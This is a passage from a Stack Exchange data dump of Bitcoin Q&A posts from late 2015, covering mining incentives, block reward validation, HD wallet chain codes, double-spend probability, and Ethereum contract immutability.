  <row Id="41571" PostTypeId="1" AcceptedAnswerId="41585" CreationDate="2015-11-30T03:58:20.343" Score="1" ViewCount="317" Body="&lt;p&gt;If Blockchain miners weren't paid to mine would there still be trust in all bitcoin transactions?&lt;/p&gt;&#xA;" OwnerUserId="30873" LastActivityDate="2015-11-30T20:31:23.480" Title="If Blockchain miners weren't paid would there still be trust in all bitcoin transactions?" Tags="|blockchain|trust|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41572" PostTypeId="2" ParentId="41571" CreationDate="2015-11-30T04:49:17.703" Score="2" Body="&lt;p&gt;Trust would remain in Bitcoin transactions only if miners continued to mine. However, without a financial incentive, there would be no reason for them to shoulder the high electricity costs of mining. &lt;/p&gt;&#xA;" OwnerUserId="30472" LastEditorUserId="30472" LastEditDate="2015-11-30T20:31:23.480" LastActivityDate="2015-11-30T20:31:23.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41574" PostTypeId="1" CreationDate="2015-11-30T07:23:07.587" Score="0" ViewCount="32" Body="&lt;p&gt;It seems that my local bitcoin testnet node are corrupted. Could you tell me how to rebuild blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I think it is corrupted is as following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I checked transaction &quot;ed2ccc36c241ad00893d0596fe167a4df162989dbf8c5ff3916d4034e7f510c3&quot; on my local testnet node, it returned the following error. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error code: -5&#xA;error message:&#xA;No information available about transaction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, on testnet block reader it returned transaction info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LxeVt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LxeVt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24693" LastEditorUserId="24693" LastEditDate="2015-11-30T07:44:07.787" LastActivityDate="2015-11-30T07:44:07.787" Title="Could you tell me how to rebuild bitcoin-core testnet node?" Tags="|bitcoind|bitcoin-core|" AnswerCount="0" CommentCount="5" ClosedDate="2015-11-30T11:57:14.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="41575" PostTypeId="1" CreationDate="2015-11-30T09:39:25.233" Score="4" ViewCount="92" Body="&lt;p&gt;I read the original Satoshi's paper on bitcoin as well as Rosenfeld's paper on &quot;Analysis of hashrate-based double-spending&quot;. However, they don't answer my question, which is as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume attacker has q hash power (less or more than 50%) and that the merchant is waiting k confirmations (e.g. 6). What is the probability that after time t (e.g. 12 hours), the attacker will produce longer chain in order to double-spend money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen formulas to calculate the probability, that the attacker will &lt;em&gt;eventually&lt;/em&gt; produce the chain, but what I am looking for is, what happens if the attacker is constrainted by time t. I know that the attacker has 100% chance on eventually getting the longer chain, but I also know that when the hashing power q is around 50%, it would take a lot of time and you would normally need around 60-70% of hashing power.&lt;/p&gt;&#xA;" OwnerUserId="30875" LastEditorUserId="30875" LastEditDate="2015-11-30T14:49:57.483" LastActivityDate="2015-12-03T18:33:16.320" Title="Probabilty of a Race Attack in time t with hashing power q" Tags="|attack|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41576" PostTypeId="2" ParentId="41366" CreationDate="2015-11-30T10:59:05.320" Score="1" Body="&lt;p&gt;you can try &lt;a href=&quot;https://cubits.com&quot; rel=&quot;nofollow&quot;&gt;Cubits&lt;/a&gt;, they are Bitcoin payment processor based in UK and Germany.&lt;/p&gt;&#xA;" OwnerUserId="30876" LastActivityDate="2015-11-30T10:59:05.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41577" PostTypeId="2" ParentId="41557" CreationDate="2015-11-30T12:11:26.687" Score="1" Body="&lt;p&gt;Your basic assumption that &quot;real money&quot; always has the same value is not really valid. A million dollars is worth a lot more to me than it is to Bill Gates. And it might be worth nothing on a lifeboat in the middle of the ocean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin behaves like any other commodity. Its value may be different from person to person or area to area based on things like supply and demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long as transaction costs are low, values will be approximately the same under all reasonable conditions because of exchange and arbitrage. Someone who can get a bitcoin for less than other people will sell it to someone willing to pay more, this will take the people willing to sell for less or buy for more out of the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, when you find a significant different in the value of a bitcoin in different places, it's explained by some difference in the asset on the other side. For example, at one time, there was a glut of dollars at an exchange called Mt. Gox. This made a dollar at Mt. Gox worth less than a dollar, and bitcoins sold for more of them at Mt. Gox.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-11-30T12:11:26.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41578" PostTypeId="1" CreationDate="2015-11-30T13:04:48.610" Score="1" ViewCount="298" Body="&lt;p&gt;We are doing a time series regression project to identify the variables that impacts the bitcoin price in USD. We came up with the following explanatory variables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) GDPs of US, Canada, Europe, China, Slovenia, Singapore and Japan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Aggregate computing/processing power: We don't know which index to use here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Inflation rates of the previously mentioned economies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Activity on TOR browser (downloads for instance)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Number of vendors accepting bitcoin payments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) financial sector's and IT sector's GDP for the aforementioned countries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Crime rate and cyber crime rate in each period&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Dummy variable for major events. (for instance the shut down of the Silk Road online marketplace by the FBI)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) Stock indices such as S&amp;amp;P 500, DOW 30, Nikkei 225, NASDAQ, NYSE, and ...etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10) Inflation rate of the previously mentioned economies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If multicollinearity exists between some of the independent variables, they can be combined into 1 variable via linear transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think about the explanatory variables suggested above? Can you suggest other explanatory variables that would increase the R squared, AIC, BIC, and other related quality measures?&lt;/p&gt;&#xA;" OwnerUserId="30878" LastEditorUserId="2306" LastEditDate="2015-11-30T19:19:36.877" LastActivityDate="2015-11-30T19:19:36.877" Title="Selection of dependent variables - Time series regression on Bitcoin Price in USD" Tags="|economic-theory|academic-research|finance|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41579" PostTypeId="2" ParentId="19072" CreationDate="2015-11-30T14:20:47.017" Score="-1" Body="&lt;p&gt;On &lt;a href=&quot;https://bitcoinchain.com/pools&quot; rel=&quot;nofollow&quot;&gt;BitcoinChain.com&lt;/a&gt; you can find a comparison of mining pools. They list pools with the number of blocks found, whether you can Solo and Cloud mine with them, and what payout method they use.&lt;/p&gt;&#xA;" OwnerUserId="30880" LastEditorUserId="5406" LastEditDate="2015-12-02T15:31:00.407" LastActivityDate="2015-12-02T15:31:00.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41580" PostTypeId="1" AcceptedAnswerId="41581" CreationDate="2015-11-30T16:37:56.667" Score="2" ViewCount="158" Body="&lt;p&gt;If the reward is actually a made up transaction with no inputs,  what's blocking miners from awarding themselves more than 25 bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="30881" LastEditorUserId="5406" LastEditDate="2016-02-04T13:04:29.607" LastActivityDate="2016-02-04T13:04:29.607" Title="Awarding yourself more than 25 bitcoins" Tags="|mining-reward|reward-schedule|mining-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41581" PostTypeId="2" ParentId="41580" CreationDate="2015-11-30T16:49:02.183" Score="3" Body="&lt;p&gt;Every client on the Bitcoin network validates incoming blocks, to check that they conform to all the requirements of the Bitcoin protocol.  One of the checks is that the block reward (coinbase transaction) is for an appropriate amount.  Blocks that fail this are rejected by the client, and conforming miners will not link their own blocks to  them, so such a block will not be incorporated into the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you tried to make such a block, and then spend the coins you awarded yourself, those transactions would also be rejected as invalid.  Other participants on the Bitcoin network would not consider those transactions as valid payment, and would not give you goods or services in exchange for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be roughly as if you were to walk into a coffee shop and try to pay for coffee using a one-dollar bill, on which you had crossed out &quot;One Dollar&quot; with a crayon, and written &quot;Five&quot;.  They wouldn't accept it, and they wouldn't give you any coffee for it.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-11-30T16:49:02.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41582" PostTypeId="2" ParentId="41548" CreationDate="2015-11-30T19:42:25.540" Score="1" Body="&lt;p&gt;Looking at the fields in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;block header&lt;/a&gt;, the nonce field is a 32 bit integer.  This means that the nonce is an integer in the range from 0 to 4,294,967,295.  As you point out, a miner with just an off-the-shelf GPU can easily calculate this number of hashes in less than a second.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the early days of bitcoin, when the difficulty requirement was much lower than it is now, miners would scoop up a bunch of transactions, take the Merkle Root, use the current time as the timestamp, create the header, then iterate through the range of nonces - and they stood a decent chance of finding a nonce that (when combined with the rest of the info in the headers) produced a SHA256 hash that satisfied the difficulty requirement.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nowadays, with the difficulty requirement much higher, miners stand a very small chance of finding a nonce that (when combined with the rest of the info in the headers) produces a SHA256 hash that satisfies the difficulty requirement after iterating through the range of nonce values.  Therefore, they have to try again, by changing something else in the headers (e.g. the timestamp, or the transactions in the block), then iterate through the range of nonce values again in hopes of finding one that satisfies the difficulty requirement.  This process repeats many times, until finally a miner finds the winning combination of header information and nonce that produces a hash that satisfies the difficulty requirement - which should happen approximately every 10 minutes by design.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-11-30T19:42:25.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41585" PostTypeId="2" ParentId="41571" CreationDate="2015-11-30T20:11:44.923" Score="1" Body="&lt;p&gt;Without a sufficient number of miners, security of the bitcoin network would degrade.  If an attacker (or pool of attackers) could come close to amassing enough computing power to match the computing power of the rest of the miners, the attacker could disrupt the network by deleting newly-written blocks of transactions from the blockchain, preventing certain transactions from being written to blocks in the blockchain, and/or double-spending bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners are compensated in two ways: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)  Each time a block is successfully mined, the miner of that block is awarded newly-minted bitcoins.  At the moment, the amount awarded is 25 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)  Miners collect transaction fees for the transactions in the blocks that they mine.  The amounts of these transaction fees are determined by the payers of the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the transactions fees that the miners collect are usually nominal compared to the amount that miners earn in newly-minted bitcoins for the blocks that they mine.  But, that could change.  As mentioned above, the amount of newly-minted bitcoins that is awarded for a mined block is currently 25 BTC, but this amount is halved after every 210,000 blocks mined.  At this rate, it is projected to halve to 12.5 BTC sometime in 2016, then halve again to 6.25 BTC sometime in 2020.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the reward in newly-minted bitcoins decreases, there is speculation that fewer miners will find it viable to continue to mine.  The bitcoin network relies in miners to keep it secure, so it may come to a point where payers may be inclined to pay more in transaction fees to incentivize the miners to mine their transactions.  &lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-11-30T20:11:44.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41586" PostTypeId="1" CreationDate="2015-11-30T23:03:44.007" Score="1" ViewCount="490" Body="&lt;p&gt;Would it be possible to create energy backed cryptocurrency? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.energybackedmoney.com/&quot; rel=&quot;nofollow&quot;&gt;There are some earlier theories of creating energy backed money&lt;/a&gt;. However the instant challenges I see are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Energy (as an electricity) is globally not transferable, storeable, and must be consumed immediately. It would only work if buyer and seller are connected to the same grid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The value of energy varies highly depending on the location. E.g. 1 kWh in Africa is much more worth than 1 kWh in New York. The problem of unified exchange rate, e.g. like with gold, would make it very hard to the medium for exchange of value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus, energy backed money may not work in a sense that &quot;1 kWh = 1 coin&quot;, because energy lacks the properties to become a transfer of value? But are there other aspects one could use cryptocurrency to bind it to the value of energy?&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-12-02T07:22:38.660" Title="Energy backed cryptocurrency?" Tags="|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41587" PostTypeId="1" CreationDate="2015-11-30T23:06:53.000" Score="1" ViewCount="1719" Body="&lt;p&gt;I have had hundreds of confirmations but the funding never made it from my wallet to the balance I was maintaining on a Web site (Alhabay). On blockchain the transaction is listed as &quot;unspent.&quot; Where did my funds go? Can I get them back? I've been trying with zero success to get help from Alphabay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0XXlo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XXlo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30888" LastActivityDate="2015-12-01T08:16:04.613" Title="I sent btc from my wallet to my web site balance, deposit never showed" Tags="|wallet-security|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41588" PostTypeId="2" ParentId="41561" CreationDate="2015-12-01T00:14:05.043" Score="1" Body="&lt;p&gt;You should consider using this (or a similar) python library to import your keys, as straight conversion from hex to base58 can have a few gotchas: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vbuterin/pybitcointools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the examples in the README and you should be on your way to making your script.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-12-01T00:14:05.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41589" PostTypeId="1" AcceptedAnswerId="41598" CreationDate="2015-12-01T02:26:58.377" Score="7" ViewCount="901" Body="&lt;p&gt;In the documents and articles I have read, it is stated that the &quot;chain code&quot; in HD wallets exists to provide entropy to the derivation of child public/private keys. If I understand the process correctly, it is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyHash = HMAC-SHA512(Parent_PublicKey + Parent_ChainCode + Index)&#xA;Special_Integer = Leftmost256Bits(MyHash)&#xA;Child_ChainCode = Rightmost256Bits(MyHash)&#xA;Child_PublicKey = Parent_PublicKey + Special_Integer&#xA;Child_PrivateKey = Child_PrivateKey + Special_Integer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is why exactly the chain code is necessary. Even with just HMAC-SHA512(Parent_PublicKey + Index) the output should &quot;look&quot; very different for different indices, so is the problem that it's still mathematically close?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of related questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I assume the goal is to prevent using a key to derive its children or siblings. Is that wrong and/or are there other security assurances that HD wallets seek to provide in their tree structure?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the chain code as &quot;public&quot; as the public key, or is it desirable to keep it private to the extent possible?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21610" LastActivityDate="2015-12-01T13:18:49.053" Title="Why is a chain code needed for entropy in HD wallets?" Tags="|security|cryptography|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41590" PostTypeId="2" ParentId="41587" CreationDate="2015-12-01T03:36:47.910" Score="2" Body="&lt;p&gt;You will need to contact the site, Alhabay, for support. This is your only way. The bitcoins have been sent and confirmed on the blockchain, and they are in Alhabay's possession right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is like cash. It's irreversible. Once you've gave someone cash, they have it and the only way you can get it back is if they give it back to you.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-12-01T03:36:47.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41591" PostTypeId="2" ParentId="37776" CreationDate="2015-12-01T05:41:07.673" Score="0" Body="&lt;p&gt;Block and transaction timestamps are unreliable in a peer to peer environment. See similar question here &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1164293.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1164293.0&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have timestamp of block n &gt; timestamp of block n+1. bc.info seems to reporting received time same as block timestamp, which seems to be a bug. I suggest you explore other blockchain apis like blocktrail and tradeblock .&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-01T05:41:07.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41593" PostTypeId="2" ParentId="41587" CreationDate="2015-12-01T08:16:04.613" Score="0" Body="&lt;p&gt;Bitcoins delivered but something is not ok with their wallet they might need resetting block chains and peer depending upon their wallet client app.&lt;/p&gt;&#xA;" OwnerUserId="30865" LastActivityDate="2015-12-01T08:16:04.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41594" PostTypeId="1" CreationDate="2015-12-01T10:54:56.220" Score="1" ViewCount="713" Body="&lt;p&gt;I am a PHP newbie. I want to develop a web app to store,send,retrieve bitcoins. I need to create wallet for each users. Our idea is to use any online wallet service such as blockchain.info or coinbase. In coinbase it allow us to create multiple account for existing user. Does coinbase allow for automatic creation of users and wallet(when user registers my app) through their api. &lt;/p&gt;&#xA;" OwnerUserId="30892" LastActivityDate="2015-12-01T10:54:56.220" Title="Coinbase API: Create bitcoin wallet for app registered users" Tags="|wallet|bitcoind|client|coinbase.com|php|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41597" PostTypeId="1" CreationDate="2015-12-01T12:53:22.800" Score="2" ViewCount="374" Body="&lt;p&gt;I'm not sure whether people answers question on Ethereum here as well but just in case...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Once my smart contract is active on the Ethereum, what prevents me from modifying the contract for my own benefit? Let's say I created a crowfunding dapp which users can use on my site www.crownfunding.com. Once users are using that dapp, as a malicious guy, I could link a new smart contract to that site sending investor's money to my own account instead of using that money for the crownfunded project?&#xA;It is true? If so, what are the safeguards?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Could you tell me, in very plain words please, whether once I have created my contract code and &quot;sent&quot; it to the Ethereum network, I can update it? or do I have to write a new program and send it to the network (the oldest one then &quot;dying&quot; out of gas).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30815" LastEditorUserId="120" LastEditDate="2015-12-07T12:00:46.197" LastActivityDate="2015-12-14T13:12:18.867" Title="Ethereum - contract" Tags="|blockchain|ethereum|" AnswerCount="3" CommentCount="4" ClosedDate="2020-04-25T21:10:30.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="41598" PostTypeId="2" ParentId="41589" CreationDate="2015-12-01T13:18:49.053" Score="5" Body="&lt;p&gt;For reference, the original spec is &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#Private_parent_key_rarr_private_child_key&quot; rel=&quot;noreferrer&quot;&gt;located here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few minor adjustment to your basic equations of how HD wallet child key derivation works. (And also note that these equations only apply for non-hardened indices)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyHash = HMAC-SHA512(Parent_PublicKey + Parent_ChainCode + Index)&#xA;Special_Integer = Leftmost256Bits(MyHash)&#xA;Child_ChainCode = Rightmost256Bits(MyHash)&#xA;Child_PublicKey = Parent_PublicKey + Special_Integer * G&#xA;Child_PrivateKey = Parent_PrivateKey + Special_Integer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the &lt;code&gt;* G&lt;/code&gt;, and changed &lt;code&gt;Child_PrivateKey&lt;/code&gt; to &lt;code&gt;Parent_PrivateKey&lt;/code&gt; in the last equation. The &lt;code&gt;* G&lt;/code&gt; is because you need to use Elliptic Curve multiplication before you can add to the Parent_PublicKey, which is an Elliptic Curve point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's look at how these equations would look if the chain code wasn't used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyHash = HMAC-SHA512(Parent_PublicKey + Index)&#xA;Special_Integer = Leftmost256Bits(MyHash)&#xA;Child_PublicKey = Parent_PublicKey + Special_Integer * G&#xA;Child_PrivateKey = Parent_PrivateKey + Special_Integer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if you know the &lt;code&gt;Parent_PublicKey&lt;/code&gt; (which is public knowledge and may be found on the blockchain for instance), you can try many values for &lt;code&gt;Index&lt;/code&gt; and derive all of the child keys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now assume someone got ahold (somehow) of one of your private keys for somewhere in the tree. Without the presence of a chain code, they can derive all of the private keys down the tree from the node where they have the private key. What's worse, if they can get access to the public keys higher up in the tree, they can derive the private keys as well with a little backwards-engineering of the equations (basically, &lt;code&gt;Parent_PrivateKey = Child_PrivateKey - Special_Integer&lt;/code&gt;). This is undesirable, as it would be better if losing a single private key doesn't compromise much/any of the rest of the HD key tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is not possible with the chain code present. So there are very good privacy and security reasons for using the chain code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the chain code as &quot;public&quot; as the public key, or is it desirable to keep it private to the extent possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's definitely desirable to keep it private, because leaking it exposes you to the issues mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-12-01T13:18:49.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41599" PostTypeId="1" CreationDate="2015-12-01T15:29:27.867" Score="2" ViewCount="317" Body="&lt;p&gt;Suppose we have three mining pools, one with 40% of computing power, and the other two having 30% of computing power each. Will the node with 40% power, be able to solve the puzzle for each node always quicker than the others? &lt;/p&gt;&#xA;" OwnerUserId="30902" LastEditorUserId="5406" LastEditDate="2016-02-21T12:10:45.050" LastActivityDate="2017-09-30T21:17:56.947" Title="Can the mining pool with the most mining power always win?" Tags="|proof-of-work|mining-theory|" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-02T15:46:13.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="41600" PostTypeId="2" ParentId="41599" CreationDate="2015-12-01T15:52:32.147" Score="4" Body="&lt;p&gt;No.  Everything else being equal, the node with 40% of the computational power will 'solve the puzzle' 40% of the time, and each of the nodes with 30% of the computational power will 'solve the puzzle' 30% of the time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By 'solving puzzle', we mean mining a block by finding a nonce that (when combined with the rest of the information in the block header) produces a SHA256 hash that meets the difficulty requirements of the network at that time.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-01T15:52:32.147" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41601" PostTypeId="1" CreationDate="2015-12-02T01:13:29.077" Score="0" ViewCount="271" Body="&lt;p&gt;Was wondering if this is possible to do. Lets say Satoshi Nakamoto ended up  prison in a foreign country and he was only able to communicate with the outside world by writing letters using only a pen and paper and being able to send it anywhere in the world. How can he sign a Bitcoin/Altcoin transaction using only pen and paper when he has memorized the following: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A brain wallet address.&lt;/li&gt;&#xA;&lt;li&gt;Private Key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now he would have to create a transaction and then sign it. And for him to broadcast the transaction, he would send it to someone while keeping his coins safe aswell. How can this be done using only pencil and paper?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-12-02T04:32:53.430" Title="Is there a way to sign a transaction with BTC or any Altcoin without a computer using only pen and paper?" Tags="|transactions|private-key|signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41602" PostTypeId="2" ParentId="41601" CreationDate="2015-12-02T04:32:53.430" Score="1" Body="&lt;p&gt;He cannot for a bunch of reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;He has no idea what the unspent transaction hashes are (not memorized).&lt;/li&gt;&#xA;&lt;li&gt;He does not have a good way to know where he's sending the coins.&lt;/li&gt;&#xA;&lt;li&gt;In order to actually sign the transaction, Satoshi would need to do ECC math on the SECP256K1 curve, which he hasn't memorized.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Supposing that he's given an unsigned transaction to sign and he somehow has memorized the parameters of the SECP256K1 curve, it would be possible, but it's likely to take him a very long time to sign a single transaction. Point doubling alone is 14 operations of 256 bit numbers using Jacobian coordinates. For signing anything, you usually need to double the generator point 256 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, he can if given all these numbers, but it's likely not (A) secure since he'll leave have the paper around which has evidence of his private key which he needs in order to sign and (B) efficient in any sense of the word since it's very likely he'll make mistakes and a single mistake will render the signature invalid.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-02T04:32:53.430" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41606" PostTypeId="2" ParentId="41586" CreationDate="2015-12-02T07:22:38.660" Score="1" Body="&lt;p&gt;Well, in a certain sense, electricity &lt;em&gt;can&lt;/em&gt; be stored, if you're generating it via coal, natural gas, hydro, or nuclear power plants. (You store it by not generating it in the first place.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could define a unit of currency as being a note issued by a power company saying, &quot;IOU one megajoule.&quot; Cross region commerce would be handled by finding a middleman to exchange, for example, an Xcel IOU for a GDF Suez IOU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would be some problems with this approach. First, Bitcoin has a reliability of 99% to 99.99%, depending on how you define it. That's not reliable enough in a lot of contexts. For example, imagine if a hospital was unable to buy power for an hour each year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the exchange rates between the various IOUs will change based on speculation and changes in the fuel markets, so what you can buy with your money wouldn't stay stable week-to-week. For example, imagine if you were paid in Delmarva IOU's because you worked for a corporation headquartered in Delaware, but you lived somewhere where you needed to pay your bills in Xcel IOU's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, you could do this. I'm not sure that you'd want to, though.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-12-02T07:22:38.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41609" PostTypeId="2" ParentId="41597" CreationDate="2015-12-02T10:53:43.330" Score="1" Body="&lt;p&gt;Step back for a second and look at the big picture. You want my money. If I'm just willing to trust you to do the right thing with it, we don't need smart contracts. The case for smart contracts is where I'm not willing to send my money just anywhere -- I won't send it except under conditions where I am provided assurances that the money will be used as I expect it to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If people trust you with their money, you can steal it. You don't need a smart contract for that. But if the sender doesn't trust you, &lt;em&gt;he&lt;/em&gt; will insist on sending &lt;em&gt;his&lt;/em&gt; money to a smart contract &lt;em&gt;he&lt;/em&gt; trusts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 - Once my smart contract is active on the Ethereum, what prevents me from modifying the contract for my own benefit?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is no such thing as &quot;modifying the contract&quot;. You would just be creating some other new contract. Anyone can do that at any time, and you can do that. The trick is how you convince people to send money to the new contract.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's say I created a crowfunding dapp which users can use on my site www.crownfunding.com. Once users are using that dapp, as a malicious guy, I could link a new smart contract to that site sending investor's money to my own account instead of using that money for the 